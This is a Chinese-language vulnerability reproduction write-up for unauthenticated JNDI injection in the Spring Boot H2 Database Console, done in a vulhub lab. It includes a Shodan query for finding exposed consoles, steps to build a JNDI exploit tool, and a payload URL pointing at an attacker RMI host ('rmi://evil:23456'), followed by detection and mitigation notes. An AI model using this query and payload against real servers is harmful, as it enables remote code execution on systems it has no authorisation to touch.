H2 Database Console 未授权访问JNDI注入漏洞复现
漏洞简述
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权。可通过jndi注入实现命令执行。
Shodan搜索语法
http.title:"H2 Console"
漏洞影响范围
spring boot 配置中开启:
- spring.h2.console.enabled=true
- spring.h2.console.settings.web-allow-others=true
漏洞exp
漏洞环境搭建
使用vulhub进行复现,搭建好环境后访问 http://127.0.0.1:8080/h2-console。
但在spring boot的默认配置中是没有配置h2数据库的。
要使用 H2数据库,需要pom.xml引入依赖。
dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-jpa</artifactId> <version>2.2.6.RELEASE</version> </dependency> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <scope>runtime</scope> <version>1.4.199</version> </dependency>
默认情况下application.properties文件中不存在以下配置。
spring.h2.console.enabled=true
可以作为基线检查项,如果存在以上配置可直接访问 http://ip:port/h2-console
。
漏洞复现
借助jndi的工具进行复现。
git clone https://github.com/su18/JNDI cd JNDI mvn install
修改config.properties配置文件jndi注入成功后创建文件。
然后启动JNDI-1.0-all.jar
,在h2 console页面填入JNDI类名和URL地址。
在H2页面内填入对应的值,javax.naming.InitialContext
是JNDI的工厂类,URL rmi://evil:23456/BypassByEL
是运行JNDI工具监听的RMI地址。
点击连接后,恶意RMI成功接收到请求。
文件写入成功。
溯源排查
无相关日志可排查。
修复方式
可以使用Nginx再代理一层,限制直接对/h2-console
路径的访问。
微信赞赏支付宝赞赏
发表评论